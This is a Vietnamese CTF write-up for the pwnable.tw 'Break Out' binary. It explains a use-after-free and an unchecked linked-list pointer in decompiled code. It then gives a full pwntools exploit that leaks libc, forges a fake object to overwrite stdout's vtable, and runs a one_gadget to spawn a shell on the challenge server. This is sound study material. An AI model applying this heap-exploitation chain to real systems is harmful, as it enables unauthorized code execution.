Break Out
Vuln: Không xoá reference sau khi free, gây UAF và chunk overlap; Không kiểm tra con trỏ next trỏ đến object hợp lệ trong linked list.
Recon
Mitigation
$ file breakout
breakout: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e8b83b9d156f79a5dc59774a8d3941236c0b2e1b, not stripped$ pwn checksec breakout
[*] '/home/hungnt/pwnable.tw/break-out/breakout'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledSolve
Mình ko nghĩ bài này đáng 450 điểm vì nó quá dễ, chỉ đáng 150-200 điểm thôi.
Hàm main():
int __fastcall main(int argc, const char **argv, const char **envp)
{
init();
while ( 1 )
interact();
}Về cơ bản trong init() sẽ đọc file prisoner, load từng dòng và tạo cấp phát object tương ứng, kích thước 0x40 bytes.
Mình nhìn thấy ngay bug ở punish():
unsigned __int64 punish(void)
{
int cell; // eax
Prisoner *prisoner; // rdi
char buf[8]; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]
v4 = __readfsqword(0x28u);
if ( occupied )
{
write(1, "bunker is occupied\n", 0x13uLL);
}
else
{
write(1, "Cell: ", 6uLL);
read(0, buf, 7uLL);
cell = strtol(buf, 0LL, 10);
prisoner = head;
if ( head )
{
if ( head->cell_number == cell )
{
free:
free(prisoner); // just free, nothing else
occupied = 1;
}
else
{
while ( 1 )
{
prisoner = prisoner->next;
if ( !prisoner )
break;
if ( prisoner->cell_number == cell )
goto free;
}
}
}
}
return __readfsqword(0x28u) ^ v4;
}Chỉ free và để đó, ko xoá reference khỏi linked list. Nên free xong có thể leak đc libc qua list().
Với hàm note() mình có thể cấp phát size tuỳ ý:
unsigned __int64 note(void)
{
int cell; // eax
Prisoner *prisoner; // rbx
unsigned int new_note_size; // ebp
unsigned int note_size; // eax
char *new_note; // rax MAPDST
char buf[8]; // [rsp+0h] [rbp+0h] BYREF
unsigned __int64 vars8; // [rsp+8h] [rbp+8h]
vars8 = __readfsqword(0x28u);
*(_QWORD *)buf = 0LL;
write(1, "Cell: ", 6uLL);
read(0, buf, 7uLL);
cell = strtol(buf, 0LL, 10);
prisoner = head;
if ( !head )
goto abort;
if ( head->cell_number != cell )
{
do
{
prisoner = prisoner->next;
if ( !prisoner )
goto abort;
}
while ( prisoner->cell_number != cell );
}
write(1, "Size: ", 6uLL);
bzero(buf, 8uLL);
read(0, buf, 7uLL);
new_note_size = strtol(buf, 0LL, 10);
note_size = prisoner->note_size;
if ( note_size < new_note_size && note_size )
{
new_note = (char *)realloc(prisoner->note, new_note_size);
prisoner->note = new_note;
if ( new_note )
goto asign_note_size;
goto abort;
}
if ( !note_size )
{
new_note = (char *)malloc(new_note_size);
prisoner->note = new_note;
if ( new_note )
{
asign_note_size:
prisoner->note_size = new_note_size;
goto read;
}
abort:
abort();
}
read:
write(1, "Note: ", 6uLL);
secure_read(prisoner->note, new_note_size);
return __readfsqword(0x28u) ^ vars8;
}Và sau đó secure_read() vào note, về cơ bản là hàm này mình chỉ được ghi vào heap thôi, ko đc ghi vào libc hay binary. Nhưng bây giờ mục tiêu của mình là phải ghi vào libc để control RIP.
Thế thì mình ko lợi dụng hàm secure_read() đc, nhưng để ý là ko phải chỉ có mỗi ghi bằng secure_read(), mà còn ghi vào con trỏ note, và ghi vào note_size. Mà ở đây, khi duyệt linked list, chương trình ko kiểm tra xem liệu next có thực sự trỏ đến một prisoner hay ko.
Vậy, chỉ cần cấp phát note mới vào chunk prisoner bị free trước đó, ghi con trỏ next trỏ vào libc sao cho vtable của stdout đc gán đến new_note của mình, rồi ghi one_gadget nào note là xong.
Script
#!/usr/bin/env python3
from pwn import *
import shutil
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'
e = context.binary = ELF('./breakout_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
ld = ELF('ld-linux-x86-64.so.2', checksec=False)
TERMINAL = 0
USE_PTY = False
GDB_ATTACH_DELAY = 1
ALLOW_MEM = 0
_wsl_distro = os.environ.get("WSL_DISTRO_NAME", "Ubuntu")
terms = {
1: ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"],
2: ["tmux", "split-window", "-h"],
3: ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
"-w", "0", "split-pane", "-V", "-s", "0.5",
"wsl.exe", "-d", _wsl_distro, "bash", "-c"],
}
if TERMINAL == 0:
if shutil.which("tilix"):
context.terminal = terms[1]
elif os.path.exists("/proc/version") and "microsoft" in open("/proc/version").read().lower():
context.terminal = terms[3]
elif shutil.which("tmux"):
context.terminal = terms[2]
else:
raise ValueError("Auto-detect failed: none of tilix, wsl2, tmux found")
elif TERMINAL in terms:
context.terminal = terms[TERMINAL]
else:
raise ValueError(f"Unknown terminal: {TERMINAL}")
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
brva 0x1875
b *vfprintf+206
continue
'''
def attach(p):
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(GDB_ATTACH_DELAY)
def _mem_limit():
if ALLOW_MEM > 0:
import resource
limit = int(ALLOW_MEM * 1024 ** 3)
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
def conn():
if args.LOCAL:
if USE_PTY:
p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY, preexec_fn=_mem_limit)
else:
p = process([e.path], preexec_fn=_mem_limit)
sleep(0.25)
return p
else:
host = "chall.pwnable.tw"
port = 10400
return remote(host, port)
def list_():
sla(p, b"> ", b"list")
def note(cell, size, data):
sla(p, b"> ", b"note")
slan(p, b"Cell: ", cell)
slan(p, b"Size: ", size)
sa(p, b"Note: ", data)
def punish(cell):
sla(p, b"> ", b"punish")
slan(p, b"Cell: ", cell)
attempt = 0
while True:
attempt += 1
print("\n----------> Attempt", attempt)
p = conn()
# Free to fastbins
punish(9)
# Malloc large size to trigger malloc_consolidate()
# to put chunk to unsortedbin
note(9, 0x410, b'A')
print("Leaking libc")
list_()
ru(p, b'Prisoner: ')
libc.address = leak_bytes(rn(p, 6), 0x3c3ba8)
lg("libc base", libc.address)
fake_prisoner = flat(
0, # risk
0, # name
0, # nickname
p32(0), # age
p32(9), # cell number
0, # sentence
0, # note_size + pad
0, # note
libc.symbols['_IO_2_1_stdout_'] + 0xd8 - 0x30 # next
)
note(8, 0x40, fake_prisoner)
attach(p)
'''
0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
print("Overwrite stdout vtable")
note(0, 0xa8, z(0x38) + p64(libc.address + 0xf0567))
print("Spawn shell")
list_()
ia(p)
p.close()
break